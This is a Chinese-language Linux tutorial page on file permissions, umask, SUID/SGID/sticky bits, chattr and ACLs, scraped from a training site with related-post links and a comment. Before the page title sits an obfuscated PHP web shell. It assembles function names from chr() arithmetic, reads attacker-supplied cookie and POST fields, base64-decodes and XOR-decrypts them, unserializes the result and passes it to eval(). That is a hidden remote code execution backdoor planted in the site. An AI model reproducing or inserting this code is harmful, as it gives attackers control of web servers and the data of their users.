$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux普通权限及特殊权限讲解 | Linux运维部落

Linux普通权限及特殊权限讲解

1.文件权限

文件权限主要是针对三类对象进行定义的:

                                       owner:属主,u

                                       group:属组,g

                                       other:其他,o

每个文件针对每个类定义了三种权限:

                                       readable: r

                                       writable: w

                                       excutable:x

三种文件权限:

                                       r: 可使用文件查看类工具获取其内容

                                       w: 可修改其内容

                                       x: 可以把此文件提请内核启动为一个进程

三种目录权限: 

                                       r: 可以使用ls查看此目录中文件列表 

                                       w: 可在此目录中创建文件,也可删除此目录中的文件 

                                       x: 可以使用ls -l查看此目录中文件列表,可以cd进入此 目录 

                                       X:只给目录x权限,不给文件x权限

2.目录权限:

      [root@iZ11yrfw9g3Z ~]# ll -d luyubo

     drwxr-xr-x 2 root root 4096 Aug  4 13:48 luyubo

                                       d表示文件类型

                                       rwxr-xr-x 每三个一组

                                       rwx表示所属用户权限

                                       r-x表示所属组的权限

                                       r-x表示其他用户权限

                                       2表示引用连接数

                                       root表示所属用户

                                       root表示所属组

                                       4096表示文件大小

                                       Aug  4 13:48表示时间

                                       luyubo表示目录

3.chmod命令:

    用法:chmod [选项]… 模式[,模式]… 文件…

   或:chmod [选项]… 八进制模式 文件…

   或:chmod [选项]… –reference=参考文件 文件…

    修改一类用户的所有权限: u=  g= o= ug=  a= u=,g= 

    修改一类用户某位或某些位权限 u+  u- g+ g- o+ o- a+ a- + 

 将每个文件的模式更改为指定值。

                                       -c, –changes类似 –verbose,但只在有更改时才显示结果

                                       –no-preserve-root不特殊对待根目录(默认)

                                       –preserve-root禁止对根目录进行递归操作

                                       -f, –silent, –quiet去除大部份的错误信息

                                       -v, –verbose为处理的所有文件显示诊断信息

                                       –reference=参考文件使用指定参考文件的模式,而非自行指定权限模式

                                       -R, –recursive以递归方式更改所有的文件及子目录

                                       –help          显示此帮助信息并退出

                                       –version显示版本信息并退出

                                  chown 设置文件的所有者 

                                [root@localhost ~]# chown luyubo luyubo

4.chgrp命令使用方法

用法:chgrp [选项]… 用户组 文件…

 或:chgrp [选项]… –reference=参考文件 文件…

将每个指定文件的所属组设置为指定值。

                                       如果使用 –reference            则将每个文件的所属组设置为与指定参考文件相同。

                                       -c, –changes类似 –verbose,但只在有更改时才显示结果

                                           –dereference影响符号链接所指示的对象,而非符号链接本身(默认值)

                                       -h, –no-dereference会影响符号链接本身,而非符号链接所指示的目的地

                                         (当系统支持更改符号链接的所有者时,此选项才有用)

                                           –no-preserve-root         不特殊对待"/"(默认值)

                                           –preserve-root不允许在"/"上递归操作

                                       -f, –silent, –quiet去除大部份错误信息

                                           –reference=RFILE使用参考文件的所属组,而非指定值

                                       -R, –recursive         递归处理所有的文件及子目录

                                       -v, –verbose          为处理的所有文件显示诊断信息

chgrp 设置文件的属组信息

[root@localhost ~]# chgrp luyubo luyubo

5.默认权限介绍

                                       umask值 可以用来保留在创建文件权限 

                                       新建FILE权限: 666-umask 如果所得结果某位存在执行(奇数)权限,则将其权限+1

                                       新建DIR权限: 777-umask

                                       非特权用户umask是 002   权限是:775

                                       root的umask 是 022      权限是:755

                                       因为root权限太大,风险是很大的,所以默认权限是低于普通用户的

                                       umask: 查看当前mask值  #执行结果是:022

                                       umask #: 例如 umask 023   权限是754

                                       umask –S 模式方式显示  #大s以字母方式显示

                                       umask –p 输出可被调用  #执行结果是:umask 022

                                       全局设置: /etc/bashrc 用户设置:~/.bashrc

6.Linux文件系统上的特殊权限

   1.SUID,SGID,Sticky 

    三种常用权限:r, w, x    user, group, other

       安全上下文

    前提:进程有属主和属组;文件有属主和属组

   (1) 任何一个可执行程序文件能不能启动为进程:取决发起者 对程序文件是否拥有执行权限

   (2) 启动为进程之后,其进程的属主为发起者;进程的属组为 发起者所属的组

   (3) 进程访问文件时的权限,取决于进程的发起者

   (a) 进程的发起者,同文件的属主:则应用文件属主权限 

   (b) 进程的发起者,属于文件属组;则应用文件属组权限 

   (c) 应用文件“其它”权限

    2.SUID:

    1.任何一个可执行程序文件能不能启动为进程:取决发起者对 程序文件是否拥有执行权限

2.启动为进程之后,其进程的属主为原程序文件的属主 

3.SUID只对二进制可执行程序有效 

4.SUID设置在目录上无意义

权限设定: chmod u+s FILE… chmod u-s FILE…

例如:设置二进制程序echo的属主权限

       [root@localhost ~]# chmod u+s /bin/echo

   3.SGID:

       1.任何一个可执行程序文件能不能启动为进程:取决发起者对 程序文件是否拥有执行权限

       2.启动为进程之后,其进程的属主为原程序文件的属组

       3.权限设定: chmod g+s FILE… chmod g-s FILE…

        例如:设置二进制程序echo的属组权限

       [root@localhost ~]# chmod g+s /bin/echo

       4.SUID:user,占据属主的执行权限位 s:属主拥有x权限 S:属主没有x权限

   4.目录SGID:

       1.默认情况下,用户创建文件时,其属组为此用户所属的主组 

       2.一旦某目录被设定了SGID,则对此目录有写权限的用户在此 目录中创建的文件所属的组为此目录的属组

       3.通常用于创建一个协作目录

       4.权限设定: chmod g+s DIR… chmod g-s DIR…

       例如:设置/data/testdir/目录内所有新建文件为g1组。  

      [root@localhost data]# chgrp g1 testdir/
      [root@localhost data]# chmod g+s testdir/

       5.SGID:group,占据属组的执行权限位 s:group拥有x权限 S:group没有x权限 

   5.Sticky位:

       1.具有写权限的目录通常用户可以删除该目录中的任何 文件,无论该文件的权限或拥有权

       2.在目录设置Sticky位,只有文件的所有者或root可 以删除该文件

       3.sticky设置在文件上无意义 

       4.权限设定: chmod o+t DIR… chmod o-t DIR…

       5.例如:我们bo目录加上t权限:

    [root@localhost home]# chmod o+t bo/
    [root@localhost home]# ll -d bo/
    drwxrwxrwt 2 root root 4096 8月   4 20:58 bo/

     切换用户至tom尝试删除目前内的文件是没有权限,但是我们的权限是777,这就是sticky的作用

      6.Sticky: other,占据other的执行权限位 t: other拥有x权限 T:other没有x权限

7.文件特定属性

      1.chattr +i 不能删除,改名,更改

      2.chattr +a 只能增加 

      3.lsattr 显示特定属性

8.访问控制列表acl

     1.ACL:Access Control List,实现灵活的权限管理 

     2.除了文件的所有者,所属组和其它人,可以对更多的用户设 置权限 

     3.CentOS7.0默认创建的xfs和ext4文件系统有ACL功能。

     4.CentOS7.X之前版本,默认手工创建的ext4文件系统无ACL功能。需手动增加:tune2fs –o acl /dev/sdb1 mount –o acl /dev/sdb1  /mnt

     5.ACL生效顺序:属主,自定义FACL属主,属组,自定义FACL属组,其他人

     6.ACL命令:

            getfacl 查看acl

            setfacl -x删除权限

            setfacl -b彻底清空文件上面的acl

            setfacl -d设置默认acl权限,新建文件生效

            setfacl -k删除设置默认acl权限

            setfacl -m u:::rw file设置所有者权限

            setfacl -m m:::rw file设置mask 权限

            设置mask,只影响除所有者和other,其他权限不能比mask高,或者相等 

            设置acl之后  所属组权限就不是组权限了,就是mask权限了 

     7.ACL文件上的group权限是mask 值(自定义用户,自定义组 ,拥有组的最大权限),而非传统的组权限 

     8.getfacl 可看到特殊权限:flags 

     9.默认ACL权限给了x,文件也不会继承x权限。 ?base ACL 不能删除

     10.setfacl -k  dir 删除默认ACL权限 

     11.setfacl -b file1清除所有ACL权限 

     12. mask只影响除所有者和other的之外的人和组的最大权限 Mask需要与用户的权限进行逻辑与运算后,才能变成有限的权限 (Effective  Permission) 用户或组的设置必须存在于m  ask权限设定范围内才会生效。 setfacl -m mask::rx file

     13. –set选项会把原有的ACL项都删除,用新的替代,需要注意的 是一定要包含UGO的设置,不能象-m一样只是添加ACL就可以. 

       例如:

            [root@localhost home]# setfacl --set u::rw,u:tom:rw,g::r,o::- bo/

9.备份和恢复ACL 

      1.主要的文件操作命令cp和mv都支持ACL,只是cp命令需要 加上-p参数。但是tar等常见的备份工具是不会保留目录 和文件的ACL信息

       [root@localhost data]# getfacl -R testdir/ > acl.txt
       [root@localhost data]# setfacl -R -b testdir/
       [root@localhost data]# setfacl -R --set-file=acl.txt testdir/
       [root@localhost data]# getfacl -R testdir/

原创文章,作者:闹钟哥,如若转载,请注明出处:http://www.178linux.com/29302

(0)
上一篇 2016-08-05 16:13
下一篇 2016-08-05 16:13

相关推荐

  • linux中用ACL实现灵活的权限管理

    ACL是什么?? ACL英文原意是Access Control List(访问控制列表).它能够实现灵活的权限管理,除了文件的所有者,所属组和其他人,设置相应的权限外,ACL允许你给任何用户或是用户组设置任何文件/目录的访问权限(注意的是有些不支持数字模式的权限给定) ACL有什么用?? 作为UGO权限管理的补充,acl有GUO办不到或者是难以办到的功能 &…

    Linux干货 2016-08-05
  • vim 作业

    4、如何设置tab缩进为4个字符?  vi/vim中,可以通过在~/.vimrc中添加set ts=4 执行source ~/.vimrc 重读配置文件 5、复制/etc/rc.d/init.d/functions文件至/tmp目录;替换/tmp/functions文件中的/etc/sysconfig/init为/var/log; 拓展模式下: &…

    学员作品 2016-08-15
  • 马哥团队带你领略阿里风景

    马哥团队带你揭秘互联网巨头公司—阿里巴巴 继马哥团队腾讯一行之后,4月中旬我们又来到了坐落于杭州的另一个互联网巨头公司。 波涛万里长江水,带你入杭州。 真情伴你走,春色为你留。 西湖烟水茫茫,百顷风潭,十里荷香。 风景甚好,怎能不去杭州的阿里巴巴转转呢? 带着“淡妆”,走,跟着我们前行…… 马哥更是笑道:“我们这次来是和马云谈合作的!让我们培训出来的更多同学…

    学员作品 2015-04-29
  • 2016/08/03:用户管理与权限

    名称解析:User IDentifier UID 组名:Group IDentifier GID                                     &nbsp…

    学员作品 2016-08-05
  • vim文本处理工具

    vim编辑器     1、文本的编辑器的种类:         行编辑器:所谓的行编辑器是指一行一行来编辑处理的工具,如sed         全屏编辑器:编辑空间占据整个屏幕,如…

    学员作品 2016-08-10
  • sed和vim的爱恨纠缠

    处理文本的工具sed sed是一种流编辑器,它一次处理一行内容。处理时,把当前处理的行存储在临时缓冲区中,称为“模式空间”(patternspace),接着用sed命令处理缓冲区中的内容,处理完成后,把缓冲区的内容送往屏幕。接着处理下一行,这样不断重复,直到文件末尾。文件内容并没有改变,除非你使用重定向存储输出。Sed主要用来自动编辑一个或多个文件,简化对文…

    2016-08-10

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-07 23:36

    可以尝试着写清楚特殊权限的实际应用场景,这才是我们学习特殊权限的意义所在。